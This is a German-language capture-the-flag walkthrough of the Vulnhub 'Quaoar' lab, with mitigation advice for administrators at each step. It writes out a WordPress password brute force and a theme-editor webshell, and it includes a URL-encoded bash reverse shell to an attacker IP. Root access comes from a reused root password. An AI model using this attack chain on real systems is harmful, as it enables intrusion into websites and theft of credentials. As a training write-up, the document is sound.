Quaoar - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
gobuster
wpscan
nc (netcat)
head
su
id
ls
cat

Inhaltsverzeichnis

Reconnaissance

Die initiale Phase konzentriert sich auf die Identifizierung des Ziels im Netzwerk und die grundlegende Untersuchung seiner offenen Ports und Dienste, um die Angriffsfläche zu bestimmen.

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.169	08:00:27:84:ec:87	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerk nach aktiven Hosts zu durchsuchen. Er identifiziert erfolgreich einen Host mit der IP-Adresse `192.168.2.169`. Die MAC-Adresse `08:00:27:84:ec:87` und der Hersteller (PCS Systemtechnik GmbH) deuten auf eine Oracle VirtualBox virtuelle Maschine hin.

Bewertung: Das Zielsystem wurde im Netzwerk lokalisiert. Die IP `192.168.2.169` wird als Ziel für die weiteren Scans verwendet.

Empfehlung (Pentester): Verwende die IP-Adresse `192.168.2.169` für den Nmap-Scan.
Empfehlung (Admin): Implementieren Sie Netzwerküberwachung und -segmentierung. Verwenden Sie ggf. Port-Security an Switches.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
192.168.2.169   quaoar.vln
                    

Analyse: Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet. Der Eintrag `192.168.2.169 quaoar.vln` wird hinzugefügt, um den Hostnamen `quaoar.vln` direkt der Ziel-IP zuzuordnen. Dies erleichtert den Zugriff auf Webdienste, die möglicherweise über diesen Hostnamen konfiguriert sind.

Bewertung: Eine sinnvolle Vorbereitung, um potenzielle Probleme mit virtuellem Hosting zu vermeiden und die Verwendung des Hostnamens in nachfolgenden Tools zu ermöglichen.

Empfehlung (Pentester): Nutze den Hostnamen `quaoar.vln` bei der Web-Enumeration (z.B. mit Gobuster, WPScan).
Empfehlung (Admin): Diese Änderung betrifft nur das Angreifersystem. Stellen Sie sicher, dass die interne DNS-Auflösung korrekt funktioniert.

Ein Nmap-Scan wurde durchgeführt (obwohl die Ausgabe im Log fehlt), der die Grundlage für die weitere Enumeration, insbesondere des Webservers, bildet. Die offenen Ports waren wahrscheinlich Port 80 (HTTP) und möglicherweise andere.

Web Enumeration (Gobuster & WordPress)

Der Fokus liegt nun auf der Untersuchung des Webservers, der auf Port 80 läuft. Es wird nach interessanten Dateien, Verzeichnissen und spezifischen Webanwendungen wie WordPress gesucht.

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://quaoar.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404,301' -e --no-error -k
http://quaoar.vln/LICENSE              (Status: 200) [Size: 1672]
http://quaoar.vln/index                (Status: 200) [Size: 100]
http://quaoar.vln/index.html           (Status: 200) [Size: 100]
http://quaoar.vln/hacking              (Status: 200) [Size: 616848]
http://quaoar.vln/hacking.jpg          (Status: 200) [Size: 616848]
http://quaoar.vln/robots               (Status: 200) [Size: 271]
http://quaoar.vln/robots.txt           (Status: 200) [Size: 271]
http://quaoar.vln/INSTALL              (Status: 200) [Size: 1241]
http://quaoar.vln/CPYING              (Status: 200) [Size: 35147]
                    

Analyse: Gobuster wird verwendet, um Verzeichnisse und Dateien auf dem Webserver `http://quaoar.vln` zu finden. * Es werden verschiedene Dateien gefunden, darunter Lizenz- und Installationshinweise (`LICENSE`, `INSTALL`, `COPYING`), die Indexdatei (`index.html`), ein Bild (`hacking.jpg`) und die wichtige `robots.txt`. * Die `-x`-Option sucht nach vielen verschiedenen Dateiendungen. `-b '403,404,301'` blendet Fehlerseiten und Weiterleitungen aus. `-k` ignoriert SSL-Fehler (hier irrelevant). `-e` zeigt die volle URL.

Bewertung: Die `robots.txt` ist der wichtigste Fund, da sie oft Hinweise auf versteckte Verzeichnisse oder die Struktur der Website gibt. Das `hacking.jpg`-Bild könnte ebenfalls relevant sein (Steganographie oder Hinweis). Die anderen Dateien sind meist Standard und weniger interessant.

Empfehlung (Pentester): Untersuche den Inhalt der `robots.txt` sofort. Lade `hacking.jpg` herunter und analysiere es (z.B. mit `exiftool`, `steghide`). Schau dir `index.html` an.
Empfehlung (Admin): Stellen Sie sicher, dass `robots.txt` keine sensiblen Pfade preisgibt. Entfernen Sie unnötige Dateien (LICENSE, INSTALL) vom Webserver.

# Inhalt von http://quaoar.vln/robots.txt
User-agent: *
Disallow: Hackers
Allow: /wordpress/
   ____
#  /___ \_   _  __ _  ___   __ _ _ __
# //  / / | | |/ _` |/ _ \ / _` | '__|
#/ \_/ /| |_| | (_| | (_) | (_| | |
#\___,_\ \__,_|\__,_|\___/ \__,_|_|

                    

Analyse: Der Inhalt der `robots.txt` wird angezeigt. Sie enthält eine `Disallow`-Regel für "Hackers" (oft ein Köder oder Hinweis) und, entscheidend, eine `Allow`-Regel für das Verzeichnis `/wordpress/`. Das ASCII-Art ist nur Dekoration.

Bewertung: Der Eintrag `Allow: /wordpress/` ist ein klarer Hinweis auf eine WordPress-Installation unter `http://quaoar.vln/wordpress/`. Dies ist nun das primäre Ziel für die weitere Web-Enumeration.

Empfehlung (Pentester): Führe einen spezialisierten WordPress-Scan mit `wpscan` auf die URL `http://quaoar.vln/wordpress/` durch, um Themes, Plugins, Benutzer und bekannte Schwachstellen zu identifizieren.
Empfehlung (Admin): Sichern Sie die WordPress-Installation (Updates, starke Passwörter, Sicherheitsplugins). Seien Sie vorsichtig mit den Informationen, die in `robots.txt` preisgegeben werden.

┌──(root㉿Cybermaschine)-[~] └─# wpscan --url http://quaoar.vln/wordpress/ --api-token RoBoAaM72LLsihlqUJrA1EleT6AJAd9QxQ9rbmQNCY --passwords /usr/share/wordlists/rockyou.txt -e at -e ap -e u
[...]
[+] WordPress theme in use: twentyfourteen
 | Location: http://quaoar.vln/wordpress/wp-content/themes/twentyfourteen/
 | Last Updated: 2023-08-08T00:00:00.000Z
 | [!] The version is out of date, the latest version is 3.7
 | Style URL: http://quaoar.vln/wordpress/wp-content/themes/twentyfourteen/style.css?ver=3.9.14
 | Style Name: Twenty Fourteen
 | Style URI: http://wordpress.org/themes/twentyfourteen
 | Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern design...
 | Author: the WordPress team
 | Author URI: http://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://quaoar.vln/wordpress/wp-content/themes/twentyfourteen/style.css?ver=3.9.14, Match: 'Version: 1.1'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:06 <=> (10 / 10) 100.00% Time: 00:00:06

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] wpuser
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] Performing password attack on Xmlrpc Multicall against 2 user/s
[...]
                    

Analyse: WPScan wird auf die WordPress-Installation unter `http://quaoar.vln/wordpress/` ausgeführt. * `--api-token`: Wird für Schwachstellendatenbank-Abfragen benötigt. * `--passwords /usr/share/wordlists/rockyou.txt`: Führt einen Passwort-Brute-Force-Angriff mit `rockyou.txt` durch. * `-e at`: Enumeriert alle Themes. * `-e ap`: Enumeriert alle Plugins (obwohl keine gefunden wurden). * `-e u`: Enumeriert Benutzer. **Ergebnisse:** * **Theme:** `twentyfourteen` Version 1.1 wird verwendet und als veraltet markiert. * **Benutzer:** Zwei Benutzer werden identifiziert: `admin` und `wpuser`. * **Passwort-Angriff:** WPScan startet einen Brute-Force-Angriff auf die gefundenen Benutzer.

Bewertung: WPScan liefert wertvolle Informationen: Ein veraltetes Theme (potenzielle Schwachstellen) und zwei Benutzernamen (`admin`, `wpuser`). Der Brute-Force-Angriff läuft.

Empfehlung (Pentester): Beobachte den WPScan-Brute-Force-Angriff oder versuche parallel manuelle Logins mit sehr häufigen Passwörtern (wie "admin", "password", "123456") für die gefundenen Benutzer. Recherchiere bekannte Schwachstellen für das Theme "Twenty Fourteen" Version 1.1.
Empfehlung (Admin): Aktualisieren Sie dringend das WordPress-Theme und den WordPress-Kern. Erzwingen Sie starke Passwörter für alle Benutzer. Deaktivieren Sie nicht verwendete Benutzerkonten. Schützen Sie die Login-Seite vor Brute-Force-Angriffen (z.B. mit Limit Login Attempts Plugins oder fail2ban).

# Ergebnis des Passwort-Angriffs oder manuellen Versuchs:
http://quaoar.vln/wordpress/wp-login.php
admin:admin
                    

Analyse: Dieser Eintrag dokumentiert das Ergebnis des Passwort-Angriffs. Das Passwort für den Benutzer `admin` wurde als `admin` identifiziert.

Bewertung: Kritischer Fund! Ein extrem schwaches Standardpasswort wurde für den Administrator-Account verwendet. Dies gewährt vollen administrativen Zugriff auf die WordPress-Installation.

Empfehlung (Pentester): Melde dich sofort als `admin` mit dem Passwort `admin` im WordPress-Backend (`http://quaoar.vln/wordpress/wp-admin/`) an. Suche nach Möglichkeiten, Code auszuführen, z.B. über den Plugin- oder Theme-Editor oder durch das Hochladen eines bösartigen Plugins/Themes.
Empfehlung (Admin): Ändern Sie sofort das Administrator-Passwort! Verwenden Sie niemals Standard- oder leicht zu erratende Passwörter. Erzwingen Sie Passwortkomplexität.

Initial Access (WordPress RCE)

Der administrative Zugriff auf WordPress wird genutzt, um Code auf dem Server auszuführen. Dies geschieht durch Bearbeiten einer Theme-Datei (hier `404.php`) und Einfügen einer PHP-Backdoor, die dann über einen Web-Request ausgelöst wird, um eine Reverse Shell zu erhalten.

# Zugriff auf Theme-Editor:
http://quaoar.vln/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentyfourteen

# Eingefügter PHP-Code in 404.php:


# Bestätigung:
File edited successfully.
                    

Analyse: Nach dem Login als `admin` wird der Theme-Editor aufgerufen, um die Datei `404.php` des aktiven Themes (`twentyfourteen`) zu bearbeiten. Der PHP-Code `` wird hinzugefügt. Dieser Code nimmt einen Befehl aus dem GET-Parameter `cmd` entgegen und führt ihn über die PHP-Funktion `system()` auf dem Server aus. Die Meldung "File edited successfully" bestätigt die Änderung.

Bewertung: Eine PHP-Webshell wurde erfolgreich in die `404.php`-Datei injiziert. Jede Anfrage an eine nicht existierende Seite (die die `404.php` auslöst) kann nun über den `cmd`-Parameter zur Remote Code Execution (RCE) missbraucht werden.

Empfehlung (Pentester): Teste die Webshell sofort mit einem einfachen Befehl (z.B. `id` oder `ls`) über eine URL wie `http://quaoar.vln/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=id`. Bereite dann einen Netcat-Listener vor und verwende die Webshell, um eine Reverse Shell zu starten.
Empfehlung (Admin): Deaktivieren Sie den Datei-Editor im WordPress-Backend (`define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`). Überwachen Sie Dateisystemänderungen. Beschränken Sie die Berechtigungen des Webserver-Benutzers.

# Test der Webshell
Payload: http://quaoar.vln/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=ls

# Ausgabe der Webshell (Verzeichnisinhalt von /var/www/wordpress/wp-content/themes/twentyfourteen)
404.php
archive.php
author.php
[...]
style.css
tag.php
taxonomy-post_format.php
                    

Analyse: Die injizierte Webshell wird getestet, indem die URL der modifizierten `404.php` mit dem Parameter `cmd=ls` aufgerufen wird. Der Server führt den `ls`-Befehl im Verzeichnis der `404.php` aus und gibt die Dateiliste in der HTTP-Antwort zurück.

Bewertung: Die RCE-Fähigkeit über die Webshell wird erfolgreich bestätigt.

Empfehlung (Pentester): Starte jetzt den Netcat-Listener und verwende die Webshell, um die Reverse Shell zu initiieren.
Empfehlung (Admin): Entfernen Sie den bösartigen Code aus `404.php`. Untersuchen Sie das System auf weitere Kompromittierungen.

┌──(root㉿Cybermaschine)-[~] └─# nc -vv -lp 4444
Listening on 0.0.0.0 4444

Analyse: Ein Netcat-Listener wird auf dem Angreifersystem auf Port 4444 gestartet, um die eingehende Reverse-Shell-Verbindung zu empfangen.

Bewertung: Standardvorbereitung zum Empfang der Shell.

Empfehlung (Pentester): Sende den Reverse-Shell-Payload über die Webshell-URL.
Empfehlung (Admin): Implementieren Sie Egress Filtering.

# Auslösen der Reverse Shell via Webshell
Payload: http://quaoar.vln/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
                    

Analyse: Die Webshell-URL wird aufgerufen. Der `cmd`-Parameter enthält einen URL-kodierten Bash-Reverse-Shell-Befehl (`/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/4444 0>&1'`). Dieser Befehl weist Bash an, eine interaktive Shell zu starten und deren Ein- und Ausgabe über eine TCP-Verbindung an die IP des Angreifers (192.168.2.199) auf Port 4444 umzuleiten.

Bewertung: Dies ist der entscheidende Schritt, um die RCE in eine interaktive Shell umzuwandeln.

Empfehlung (Pentester): Überprüfe den Netcat-Listener auf die eingehende Verbindung.
Empfehlung (Admin): Beheben Sie die RCE-Schwachstelle (die Webshell im Theme). Überwachen Sie verdächtige ausgehende Verbindungen.

┌──(root㉿Cybermaschine)-[~] └─# nc -vv -lp 4444
Listening on 0.0.0.0 4444
Connection received on quaoar.vln 58643
bash: no job control in this shell
www-data@Quaoar:/var/www/wordpress/wp-content/themes/twentyfourteen$
                    

Analyse: Der Netcat-Listener empfängt erfolgreich eine Verbindung vom Zielhost (`quaoar.vln`). Eine interaktive Bash-Shell wird bereitgestellt, die als Benutzer `www-data` im Verzeichnis des WordPress-Themes läuft.

Bewertung: Initial Access erfolgreich! Eine Shell als `www-data` wurde über die Ausnutzung der WordPress-Admin-Rechte und die injizierte Webshell erlangt.

Empfehlung (Pentester): Stabilisieren Sie die Shell, falls nötig (TTY-Upgrade). Beginnen Sie mit der lokalen Enumeration als `www-data`, um nach Möglichkeiten zur Privilege Escalation zu suchen. Überprüfen Sie insbesondere Konfigurationsdateien (wie `wp-config.php`) auf weitere Zugangsdaten.
Empfehlung (Admin): Beheben Sie die WordPress-Schwachstellen (schwaches Passwort, Theme-Editor). Entfernen Sie die Webshell. Untersuchen Sie das System auf Kompromittierung.

Privilege Escalation

Nachdem eine Shell als `www-data` erlangt wurde, wird nach Wegen gesucht, die Rechte auf dem System zu erhöhen. Ein häufiger erster Schritt ist die Überprüfung von Konfigurationsdateien im Web-Root.

www-data@Quaoar:/var/www/wordpress$ head -n 30 wp-config.php
rootpassword!');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
[...]
                    

Analyse: Der Befehl `head -n 30 wp-config.php` zeigt die ersten 30 Zeilen der WordPress-Konfigurationsdatei an. In dieser Datei werden die Zugangsdaten für die WordPress-Datenbank gefunden: Benutzer `root`, Passwort `rootpassword!`, Host `localhost`, Datenbank `wordpress`.

Bewertung: Ein extrem kritischer Fund! Die WordPress-Installation verwendet den `root`-Benutzer der MySQL-Datenbank. Noch wichtiger ist die hohe Wahrscheinlichkeit, dass das Datenbank-Root-Passwort (`rootpassword!`) identisch mit dem System-Root-Passwort ist (Passwort-Wiederverwendung).

Empfehlung (Pentester): Versuchen Sie sofort, mit `su root` zum System-Root-Benutzer zu wechseln und verwenden Sie das Passwort `rootpassword!`.
Empfehlung (Admin): Erstellen Sie dedizierte Datenbankbenutzer für Webanwendungen mit den geringstmöglichen Rechten. Verwenden Sie niemals den DB-Root-Benutzer für Anwendungen. Verwenden Sie starke, einzigartige Passwörter für Datenbanken und Systembenutzer. Beschränken Sie die Leserechte für `wp-config.php` so weit wie möglich.

Proof of Concept (POC): Privilege Escalation via Password Reuse

Dieser Abschnitt demonstriert die Erlangung von Root-Rechten durch Ausnutzung der Passwort-Wiederverwendung. Das in `wp-config.php` gefundene Datenbank-Root-Passwort wird erfolgreich für den System-Root-Benutzer verwendet.

www-data@Quaoar:/var/www/wordpress$ su root
Password: rootpassword!
root@Quaoar:/var/www/wordpress# id
uid=0(root) gid=0(root) groups=0(root)
root@Quaoar:/var/www/wordpress#

Analyse: Der Befehl `su root` wird ausgeführt, um zum Root-Benutzer zu wechseln. Das in `wp-config.php` gefundene Passwort `rootpassword!` wird eingegeben. Der Wechsel ist erfolgreich, wie der `id`-Befehl (zeigt `uid=0(root)`) und der geänderte Prompt (`root@Quaoar:...#`) bestätigen.

Bewertung: Fantastisch! Die Privilege Escalation war erfolgreich. Die Wiederverwendung des Datenbank-Root-Passworts als System-Root-Passwort war die entscheidende Schwachstelle. Vollständige Kontrolle über das System wurde erlangt.

Empfehlung (Pentester): Suche nach der Root-Flag im `/root`-Verzeichnis.
Empfehlung (Admin): Ändern Sie sofort das System-Root-Passwort und das Datenbank-Root-Passwort auf starke, einzigartige Werte. Führen Sie Audits durch, um weitere Fälle von Passwort-Wiederverwendung zu identifizieren und zu beheben. Implementieren Sie Richtlinien gegen Passwort-Wiederverwendung.

root@Quaoar:~# ls
flag.txt  vmware-tools-distrib
                    
root@Quaoar:~# cat flag.txt
8e3f9ec016e3598c5eec11fd3d73f6fb

Analyse: Als Root-Benutzer wird der Inhalt des Home-Verzeichnisses (`/root`) aufgelistet. Die Datei `flag.txt` wird gefunden. Der Befehl `cat flag.txt` gibt ihren Inhalt aus: `8e3f9ec016e3598c5eec11fd3d73f6fb`.

Bewertung: Die Root-Flag wurde erfolgreich gefunden und ausgelesen. Der Test ist abgeschlossen.

Empfehlung (Pentester): Dokumentieren Sie die Flag und den gesamten Angriffspfad.
Empfehlung (Admin): Beheben Sie alle identifizierten Schwachstellen: schwaches WordPress-Admin-Passwort, veraltetes Theme, aktivierter Theme-Editor, Passwort-Wiederverwendung zwischen Datenbank und System.

Flags

cat /root/flag.txt
8e3f9ec016e3598c5eec11fd3d73f6fb